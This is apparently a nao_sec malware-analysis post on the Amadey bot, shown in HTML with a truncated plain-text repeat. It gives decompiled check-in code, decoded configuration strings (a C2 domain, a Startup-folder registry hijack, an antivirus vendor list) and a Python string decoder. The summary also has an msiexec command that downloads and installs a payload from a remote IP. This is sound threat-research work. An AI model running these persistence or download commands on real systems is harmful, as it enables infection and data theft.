  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">uVar1</span> <span class="o">=</span> <span class="n">_Z11aCheckAdminv</span><span class="p">();</span>
  <span class="k">if</span> <span class="p">((</span><span class="n">uVar1</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam2</span><span class="p">);</span>
    <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
    <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="s">"1"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam2</span><span class="p">);</span>
    <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
    <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="s">"0"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam3</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z10aGetOsArchv</span><span class="p">();</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam4</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z10aIntToChari</span><span class="p">(</span><span class="n">param_1</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam5</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">iVar2</span> <span class="o">=</span> <span class="n">_Z6aGetOsv</span><span class="p">();</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z10aIntToChari</span><span class="p">(</span><span class="n">iVar2</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam6</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">uVar1</span> <span class="o">=</span> <span class="n">_Z8aCheckAVv</span><span class="p">();</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z10aIntToChari</span><span class="p">(</span><span class="n">uVar1</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam7</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z12aGetHostNamev</span><span class="p">();</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z8aDecryptPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">aParam8</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z12aGetUserNamev</span><span class="p">();</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
  <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">,</span><span class="s">"&amp;"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">do</span> <span class="p">{</span>
      <span class="n">_Z9aFillCharPc</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffdff4</span><span class="p">);</span>
      <span class="n">_Source</span> <span class="o">=</span> <span class="n">_Z12aWinSockPostPcS_S_</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffddf4</span><span class="p">,</span><span class="o">&amp;</span><span class="n">stack0xffffdbf4</span><span class="p">,</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">);</span>
      <span class="n">strcat</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffdff4</span><span class="p">,</span><span class="n">_Source</span><span class="p">);</span>
      <span class="n">_Z5aParsPcS_</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffdff4</span><span class="p">,</span><span class="s">"#"</span><span class="p">);</span>
      <span class="n">Sleep</span><span class="p">(</span><span class="n">_aTimeOut</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">while</span><span class="p">(</span> <span class="nb">true</span> <span class="p">);</span>
  <span class="p">}</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">_Z12aWinSockPostPcS_S_</span><span class="p">(</span><span class="o">&amp;</span><span class="n">stack0xffffddf4</span><span class="p">,</span><span class="o">&amp;</span><span class="n">stack0xffffdbf4</span><span class="p">,</span><span class="o">&amp;</span><span class="n">stack0xffffeff4</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>

</code></pre></div></div>

<p>Some important parameters are encoded. However, the encoding algorithm is very simple.</p>

<p><img src="https://nao-sec.org/assets/2019-04-28/03.jpg" width="80%" /></p>

<p>key is <code class="language-plaintext highlighter-rouge">8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7</code></p>

<p><img src="https://nao-sec.org/assets/2019-04-28/04.jpg" width="100%" /></p>

<p>Finally, we analyze the decoded string and the name of the function in which it was used.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">_Z11aAutoRunSetPc</code>
    <ul>
      <li>AutoRunCmd : <code class="language-plaintext highlighter-rouge">REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d </code></li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z8aCheckAVv</code>
    <ul>
      <li>AV00 : AVAST Software</li>
      <li>AV01 : Avira</li>
      <li>AV02 : Kaspersky Lab</li>
      <li>AV03 : ESET</li>
      <li>AV04 : Panda Security</li>
      <li>AV05 : Doctor Web</li>
      <li>AV06 : AVG</li>
      <li>AV07 : 360TotalSecurity</li>
      <li>AV08 : Bitdefender</li>
      <li>AV09 : Norton</li>
      <li>AV10 : Sophos</li>
      <li>AV11 : Comodo</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z12aWinSockPostPcS_S_</code>
    <ul>
      <li>CMD0 : <code class="language-plaintext highlighter-rouge">&lt;c&gt;</code></li>
      <li>CMD1 : <code class="language-plaintext highlighter-rouge">&lt;d&gt;</code></li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z11aProcessDllPcS_</code>
    <ul>
      <li>dll : dll</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z7aRaportPcS_, _Z6aBasici</code>
    <ul>
      <li>domain : gohaiendo[.]com</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z19aGetSelfDestinationi</code>
    <ul>
      <li>DropDir : f64a428dfd</li>
      <li>DropName : cmualrc.exe</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z11aProcessExePcS_S_S_</code>
    <ul>
      <li>exe : exe</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z14aGetProgramDirv</code>
    <ul>
      <li>GetProgDir : ProgramData\</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z10aGetOsArchv, _Z6aGetOsv</code>
    <ul>
      <li>OS_AR0 : kernel32.dll</li>
      <li>OS_AR1 : GetNativeSystemInfo</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z6aBasici</code>
    <ul>
      <li>Param0 : id=</li>
      <li>Param1 : &amp;vs=</li>
      <li>Param2 : &amp;ar=</li>
      <li>Param3 : &amp;bi=</li>
      <li>Param4 : &amp;lv=</li>
      <li>Param5 : &amp;os=</li>
      <li>Param6 : &amp;av=</li>
      <li>Param7 : &amp;pc=</li>
      <li>Param8 : &amp;un=</li>
      <li>Vers : 1.22</li>
      <li>ZoneIdent : <code class="language-plaintext highlighter-rouge">:Zone.Identifier</code></li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z12aWinSockPostPcS_S_</code>
    <ul>
      <li>Post0 : 1310</li>
      <li>Post1 : HTTP/1.1</li>
      <li>Post2 : Accept: <em>/</em></li>
      <li>Post3 : Content-Type: application/x-www-form-urlencoded</li>
      <li>Post4 : Host:</li>
      <li>Post5 : Content-Length:</li>
      <li>Post6 : POST /</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z11aRunAsAdminPc</code>
    <ul>
      <li>RunAs : runas</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z9aRunDll32PcS_</code>
    <ul>
      <li>RunDll_0 : rundll32.exe</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z7aRaportPcS_, _Z6aBasici</code>
    <ul>
      <li>Script : ppk/index.php</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z11aCheckAdminv</code>
    <ul>
      <li>Shell : SHELL32.DLL</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z14aCreateProcessPc, _Z6aBasici</code>
    <ul>
      <li>TimeOut : 40133-98-10017</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">_Z15aUrlMonDownloadPcS_</code>
    <ul>
      <li>URLMon_0 : urlmon</li>
      <li>URLMon_1 : URLDownloadToFileA</li>
    </ul>
  </li>
</ul>

<p>Here is the simple python script.</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="s">'''
domain=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D]
AutoRunCmdr=[0x8A, 0xAA, 0xA9, 0x84, 0x74, 0x7D, 0x7D, 0x54, 0x58, 0x81, 0x7E, 0xA5, 0x85, 0xC0, 0x87, 0xA8, 0x9D, 0xAA, 0xA7, 0x93, 0xA3, 0x9C, 0x91, 0x85, 0xCC, 0x95, 0xD6, 0xA6, 0xD5, 0xD5, 0xCC, 0xAB, 0x95, 0x8A, 0xCB, 0x9E, 0xC8, 0xA3, 0xB0, 0xAA, 0x92, 0x73, 0xA7, 0xA3, 0xA9, 0x9A, 0xA6, 0xD7, 0x88, 0xC9, 0xA9, 0xD5, 0xCF, 0xD5, 0xA5, 0x94, 0xAA, 0xDA, 0xD4, 0x9F, 0xA8, 0xAB, 0x99, 0xA8, 0x95, 0x88, 0xD5, 0x95, 0xD6, 0x54, 0x8C, 0x9F, 0x9B, 0x9C, 0x9E, 0x51, 0x7D, 0xA4, 0xA4, 0xC7, 0x97, 0xD6, 0xAA, 0x84, 0x86, 0x95, 0x9D, 0x59, 0x62, 0xD8, 0x50, 0xB7, 0xA8, 0x9A, 0xA9, 0xAA, 0xA5, 0xA2, 0x51, 0x66, 0xA9, 0x58, 0xB5, 0x77, 0xAB, 0x96, 0xB5, 0xC0, 0x86, 0x66, 0x9C, 0x85]
AV00=[0x79, 0xBB, 0xA3, 0xB7, 0x87, 0x59, 0x8C, 0xA3, 0x9C, 0xAD, 0xAA, 0xC3, 0xA2, 0xC9]#AV00
AV01=[0x79, 0xDB, 0xCB, 0xD6, 0x94]
AV02=[0x83, 0xC6, 0xD5, 0xD4, 0x98, 0xAB, 0xAC, 0x9F, 0xAF, 0x59, 0x7F, 0xC3, 0x92]
AV03=[0x7D, 0xB8, 0xA7, 0xB8]
AV04=[0x88, 0xC6, 0xD0, 0xC8, 0x94, 0x59, 0x8C, 0x99, 0x99, 0xAE, 0xA5, 0xCB, 0xA4, 0xDD]
AV05=[0x7C, 0xD4, 0xC5, 0xD8, 0xA2, 0xAB, 0x59, 0x8B, 0x9B, 0x9B]
AV06=[0x79, 0xBB, 0xA9]
AV07=[0x6B, 0x9B, 0x92, 0xB8, 0xA2, 0xAD, 0x9A, 0xA0, 0x89, 0x9E, 0x96, 0xD7, 0xA2, 0xCD, 0xA8, 0xB2]
AV08=[0x7A, 0xCE, 0xD6, 0xC8, 0x98, 0x9F, 0x9E, 0xA2, 0x9A, 0x9E, 0xA5]
AV09=[0x86, 0xD4, 0xD4, 0xD8, 0xA2, 0xA7]
AV10=[0x8B, 0xD4, 0xD2, 0xCC, 0xA2, 0xAC]
AV11=[0x7B, 0xD4, 0xCF, 0xD3, 0x97, 0xA8]
CMD0=[0x74, 0xC8, 0xA0]
CMD1=[0x74, 0xC9, 0xA0]
DLL=[0x9C, 0xD1, 0xCE]
DropDir=[0x9E, 0x9B, 0x96, 0xC5, 0x67, 0x6B, 0x71, 0x98, 0x9C, 0x9D]
DropName=[0x9B, 0xD2, 0xD7, 0xC5, 0x9F, 0xAB, 0x9C, 0x62, 0x9B, 0xB1, 0x98]
exe=[0x9D, 0xDD, 0xC7]
GetProgDir=[0x88, 0xD7, 0xD1, 0xCB, 0xA5, 0x9A, 0xA6, 0x78, 0x97, 0xAD, 0x94, 0xBE]
OS_AR0=[0xA3, 0xCA, 0xD4, 0xD2, 0x98, 0xA5, 0x6C, 0x66, 0x64, 0x9D, 0x9F, 0xCE]
OS_AR1=[0x7F, 0xCA, 0xD6, 0xB2, 0x94, 0xAD, 0xA2, 0xAA, 0x9B, 0x8C, 0xAC, 0xD5, 0xA4, 0xC9, 0xA1, 0x82, 0xA5, 0x9C, 0x9F]
Param0=[0xA1, 0xC9, 0x9F]
Param1=[0x5E, 0xDB, 0xD5, 0xA1]
Param2=[0x5E, 0xC6, 0xD4, 0xA1]
Param3=[0x5E, 0xC7, 0xCB, 0xA1]
Param4=[0x5E, 0xD1, 0xD8, 0xA1]
Param5=[0x5E, 0xD4, 0xD5, 0xA1]
Param6=[0x5E, 0xC6, 0xD8, 0xA1]
Param7=[0x5E, 0xD5, 0xC5, 0xA1]
Param8=[0x5E, 0xDA, 0xD0, 0xA1]
Post0=[0x45, 0x6F]
Post1=[0x58, 0xAD, 0xB6, 0xB8, 0x83, 0x68, 0x6A, 0x62, 0x67]
Post2=[0x79, 0xC8, 0xC5, 0xC9, 0xA3, 0xAD, 0x73, 0x54, 0x60, 0x68, 0x5D]
Post3=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x8A, 0xB2, 0xA3, 0xC7, 0x6A, 0x84, 0x95, 0xA9, 0xA7, 0xA2, 0x99, 0x95, 0x92, 0xAB, 0x9E, 0xA7, 0xD1, 0x61, 0xDC, 0x64, 0xD9, 0xDD, 0xDD, 0x64, 0x9F, 0xA2, 0xD4, 0x9D, 0x91, 0xA9, 0xAB, 0xA3, 0x9B, 0x9E, 0x95, 0xA0, 0x9B, 0x9A, 0x9C]
Post4=[0x80, 0xD4, 0xD5, 0xD8, 0x6D, 0x59]
Post5=[0x7B, 0xD4, 0xD0, 0xD8, 0x98, 0xA7, 0xAD, 0x61, 0x82, 0x9E, 0xA1, 0xC9, 0xA4, 0xCC, 0x6E, 0x59]
Post6=[0x88, 0xB4, 0xB5, 0xB8, 0x53, 0x68]
RunAs=[0xAA, 0xDA, 0xD0, 0xC5, 0xA6]
RunDll_0=[0xAA, 0xDA, 0xD0, 0xC8, 0x9F, 0xA5, 0x6C, 0x66, 0x64, 0x9E, 0xAB, 0xC7, 0x50]
Script=[0xA8, 0xD5, 0xCD, 0x93, 0x9C, 0xA7, 0x9D, 0x99, 0xAE, 0x67, 0xA3, 0xCA, 0xA0]
Shell=[0x8B, 0xAD, 0xA7, 0xB0, 0x7F, 0x6C, 0x6B, 0x62, 0x7A, 0x85, 0x7F]
TimeOut=[0x60, 0xEA, 0x00, 0x00, 0x44]
URLMon_0=[0xAD, 0xD7, 0xCE, 0xD1, 0xA2, 0xA7]
URLMon_1=[0x8D, 0xB7, 0xAE, 0xA8, 0xA2, 0xB0, 0xA7, 0xA0, 0xA5, 0x9A, 0x97, 0xB6, 0x9F, 0xAA, 0x9D, 0xA5, 0x9C, 0x77]
Vers=[0x69, 0x93, 0x94, 0x96]
ZoneIdent =[0x72, 0xBF, 0xD1, 0xD2, 0x98, 0x67, 0x82, 0x98, 0x9B, 0xA7, 0xA7, 0xCB, 0x96, 0xCD, 0x99, 0xAB]
'''</span>

<span class="n">encoded_str</span><span class="o">=</span><span class="p">[</span><span class="mh">0x9F</span><span class="p">,</span> <span class="mh">0xD4</span><span class="p">,</span> <span class="mh">0xCA</span><span class="p">,</span> <span class="mh">0xC5</span><span class="p">,</span> <span class="mh">0x9C</span><span class="p">,</span> <span class="mh">0x9E</span><span class="p">,</span> <span class="mh">0xA7</span><span class="p">,</span> <span class="mh">0x98</span><span class="p">,</span> <span class="mh">0xA5</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x96</span><span class="p">,</span> <span class="mh">0xD1</span><span class="p">,</span> <span class="mh">0x9D</span><span class="p">]</span>

<span class="n">Key</span><span class="o">=</span><span class="s">"8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7"</span>
<span class="n">c</span><span class="o">=</span><span class="mi">0</span>

<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">):</span>
    <span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">encoded_str</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">length</span> <span class="o">&lt;=</span> <span class="n">c</span><span class="p">:</span>
        <span class="k">break</span>
    <span class="n">length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">Key</span><span class="p">);</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="n">encoded_str</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="n">Key</span><span class="p">[</span><span class="n">c</span> <span class="o">%</span> <span class="n">length</span><span class="p">])),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
    <span class="c1">#print(encoded_str[c] - ord(Key[c % length]), end='')
</span>    <span class="n">c</span> <span class="o">+=</span> <span class="mi">1</span>
</code></pre></div></div>

<h1 id="references">References</h1>
<ul>
  <li>https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/</li>
</ul>]]></content><author><name>nao_sec</name></author><summary type="html"><![CDATA[Initial Access Amedey is installed by msiexec.exe when you open a malicious excel file. From the document file technique, the threat actor is considered TA505. Excel 4.0 Macro Utilized by TA505 to Target Financial Institutions Recently Threat Actor TA505 Targets Financial Enterprises Using LOLBins and a New Backdoor Malware https://app.any.run/tasks/3430e711-7bb1-49b4-ac07-86b1a6b5c784 The download URL is as follows: msiexec.exe STOP=1 /i http://109.234.38.177/dom4 /q ksw='%TEMP%' First payload First payload is packed. Extract the original PE using the hollows_hunter mode of tknk_scanner. Amadey The dumped PE is compiled with MinGW. PE: compiler: MinGW(-)[-] PE: linker: GNU linker ld (GNU Binutils)(2.56*)[EXE32] It contains symbol information. Amedey has the following functions: _Z10aBypassUACv _Z10aCharToIntPc _Z10aGetOsArchv _Z10aIntToChari _Z11aAutoRunSetPc _Z11aCheckAdminv _Z11aCreateFilePc _Z11aFileExistsPKc _Z11aGetTempDirv _Z11aProcessDllPcS_ _Z11aProcessExePcS_S_S_ _Z11aRunAsAdminPc _Z12aGetHostNamev _Z12aGetSelfPathv _Z12aGetUserNamev _Z12aProcessTaskPc _Z12aResolveHostPc _Z12aWinSockPostPcS_S_ _Z13aDropToSystemPc _Z13aGetProcessILv _Z14aCreateProcessPc _Z14aGetProgramDirv _Z15aUrlMonDownloadPcS_ _Z16aDirectoryExistsPc _Z16aExtractFileNamePc _Z16aGetHomeDriveDirv _Z16aProcessDllLocalPcS_S_S_ _Z16aProcessExeLocalPcS_S_S_ _Z19aGetSelfDestinationi _Z5aCopyPcii _Z5aParsPcS_ _Z6aBasici _Z6aGetIdv _Z6aGetOsv _Z6aMkDirPc _Z7aPathAVPc _Z7aRaportPcS_ _Z8aCheckAVv _Z8aDecryptPc _Z8aPosLastPcS_ _Z9aCopyFilePcS_ _Z9aFileSizePc _Z9aFillCharPc _Z9aFreeFilePc _Z9aPosFirstPcS_ _Z9aRunDll32PcS_ The main function is as follows. int __cdecl main(int _Argc,char **_Argv,char **_Env) { char *pcVar1; /* 0x3ac8 97 main */ FUN_00404020(); FUN_00403cc0(); _Z10aBypassUACv(); pcVar1 = _Z12aGetSelfPathv(); _Z13aDropToSystemPc(pcVar1); pcVar1 = _Z19aGetSelfDestinationi(0); _Z11aAutoRunSetPc(pcVar1); _Z6aBasici(0); return 0; } The _Z6aBasici function is as follows. /* WARNING: Globals starting with '_' overlap smaller symbols at the same address */ void __cdecl _Z6aBasici(int param_1) { char *_Source; uint uVar1; int iVar2; /* 0x33fe 32 _Z6aBasici */ FUN_00404020(); _Z9aFillCharPc(&amp;stack0xffffeff4); _Z9aFillCharPc(&amp;stack0xffffddf4); _Z9aFillCharPc(&amp;stack0xffffdbf4); _Source = _Z8aDecryptPc(&amp;aDomain); strcat(&amp;stack0xffffddf4,_Source); _Source = _Z8aDecryptPc(&amp;aScript); strcat(&amp;stack0xffffdbf4,_Source); _Source = _Z8aDecryptPc(&amp;aParam0); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z6aGetIdv(); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&amp;aParam1); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&amp;aVers); strcat(&amp;stack0xffffeff4,_Source); uVar1 = _Z11aCheckAdminv(); if ((uVar1 &amp; 0xff) == 1) { _Source = _Z8aDecryptPc(&amp;aParam2); strcat(&amp;stack0xffffeff4,_Source); strcat(&amp;stack0xffffeff4,"1"); } else { _Source = _Z8aDecryptPc(&amp;aParam2); strcat(&amp;stack0xffffeff4,_Source); strcat(&amp;stack0xffffeff4,"0"); } _Source = _Z8aDecryptPc(&amp;aParam3); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z10aGetOsArchv(); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&amp;aParam4); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z10aIntToChari(param_1); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&amp;aParam5); strcat(&amp;stack0xffffeff4,_Source); iVar2 = _Z6aGetOsv(); _Source = _Z10aIntToChari(iVar2); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&amp;aParam6); strcat(&amp;stack0xffffeff4,_Source); uVar1 = _Z8aCheckAVv(); _Source = _Z10aIntToChari(uVar1); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&amp;aParam7); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z12aGetHostNamev(); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z8aDecryptPc(&amp;aParam8); strcat(&amp;stack0xffffeff4,_Source); _Source = _Z12aGetUserNamev(); strcat(&amp;stack0xffffeff4,_Source); strcat(&amp;stack0xffffeff4,"&amp;"); if (param_1 == 0) { do { _Z9aFillCharPc(&amp;stack0xffffdff4); _Source = _Z12aWinSockPostPcS_S_(&amp;stack0xffffddf4,&amp;stack0xffffdbf4,&amp;stack0xffffeff4); strcat(&amp;stack0xffffdff4,_Source); _Z5aParsPcS_(&amp;stack0xffffdff4,"#"); Sleep(_aTimeOut); } while( true ); } if (param_1 == 1) { _Z12aWinSockPostPcS_S_(&amp;stack0xffffddf4,&amp;stack0xffffdbf4,&amp;stack0xffffeff4); } return; } Some important parameters are encoded. However, the encoding algorithm is very simple. key is 8ebd3994693b0d4976021758c2d7bff793b0d4976021758c2d7bff7 Finally, we analyze the decoded string and the name of the function in which it was used. _Z11aAutoRunSetPc AutoRunCmd : REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d _Z8aCheckAVv AV00 : AVAST Software AV01 : Avira AV02 : Kaspersky Lab AV03 : ESET AV04 : Panda Security AV05 : Doctor Web AV06 : AVG AV07 : 360TotalSecurity AV08 : Bitdefender AV09 : Norton AV10 : Sophos AV11 : Comodo _Z12aWinSockPostPcS_S_ CMD0 : &lt;c&gt; CMD1 : &lt;d&gt; _Z11aProcessDllPcS_ dll : dll _Z7aRaportPcS_, _Z6aBasici domain : gohaiendo[.]com _Z19aGetSelfDestinationi DropDir : f64a428dfd DropName : cmualrc.exe _Z11aProcessExePcS_S_S_ exe : exe _Z14aGetProgramDirv GetProgDir : ProgramData\ _Z10aGetOsArchv, _Z6aGetOsv OS_AR0 : kernel32.dll OS_AR1 : GetNativeSystemInfo _Z6aBasici Param0 : id= Param1 : &amp;vs= Param2 : &amp;ar= Param3 : &amp;bi= Param4 : &amp;lv= Param5 : &amp;os= Param6 : &amp;av= Param7 : &amp;pc= Param8 : &amp;un= Vers : 1.22 ZoneIdent : :Zone.Identifier _Z12aWinSockPostPcS_S_ Post0 : 1310 Post1 : HTTP/1.1 Post2 : Accept: / Post3 : Content-Type: application/x-www-form-urlencoded Post4 : Host: Post5 : Content-Length: Post6 : POST / _Z11aRunAsAdminPc RunAs : runas _Z9aRunDll32PcS_ RunDll_0 : rundll32.exe _Z7aRaportPcS_, _Z6aBasici Script : ppk/index.php _Z11aCheckAdminv Shell : SHELL32.DLL _Z14aCreateProcessPc, _Z6aBasici TimeOut : 40133-98-10017 _Z15aUrlMonDownloadPcS_ URLMon_0 : urlmon URLMon_1 : URLDownloadToFileA Here is the simple python script. ''' domain=[0x9F, 0xD4, 0xCA, 0xC5, 0x9C, 0x9E, 0xA7, 0x98, 0xA5, 0x67, 0x96, 0xD1, 0x9D] AutoRunCmdr=[0x8A, 0xAA, 0xA9, 0x84, 0x74, 0x7D, 0x7D, 0x54, 0x58, 0x81, 0x7E, 0xA5, 0x85, 0xC0, 0x87, 0xA8, 0x9D, 0xAA, 0xA7, 0x93, 0xA3, 0x9C, 0x91, 0x85, 0xCC, 0x95, 0xD6, 0xA6, 0xD5, 0xD5, 0xCC, 0xAB, 0x95, 0x8A, 0xCB, 0x9E, 0xC8, 0xA3, 0xB0, 0xAA, 0x92, 0x73, 0xA7, 0xA3, 0xA9, 0x9A, 0xA6, 0xD7, 0x88, 0xC9, 0xA9, 0xD5, 0xCF, 0xD5, 0xA5, 0x94, 0xAA, 0xDA, 0xD4, 0x9F, 0xA8, 0xAB, 0x99, 0xA8, 0x95, 0x88, 0xD5, 0x95, 0xD6, 0x54, 0x8C, 0x9F, 0x9B, 0x9C, 0x9E, 0x51, 0x7D, 0xA4, 0xA4, 0xC7, 0x97, 0xD6, 0xAA, 0x84, 0x86, 0x95, 0x9D, 0x59, 0x62, 0xD8, 0x50, 0xB7, 0xA8, 0x9A, 0xA9, 0xAA, 0xA5, 0xA2, 0x51, 0x66, 0xA9, 0x58, 0xB5, 0x77, 0xAB, 0x96, 0xB5, 0xC0, 0x86, 0x66, 0x9C, 0x85] AV00=[0x79, 0xBB, 0xA3, 0xB7, 0x87, 0x59, 0x8C, 0xA3, 0x9C, 0xAD, 0xAA, 0xC3, 0xA2, 0xC9]#AV00 AV01=[0x79, 0xDB, 0xCB, 0xD6, 0x94] AV02=[0x83, 0xC6, 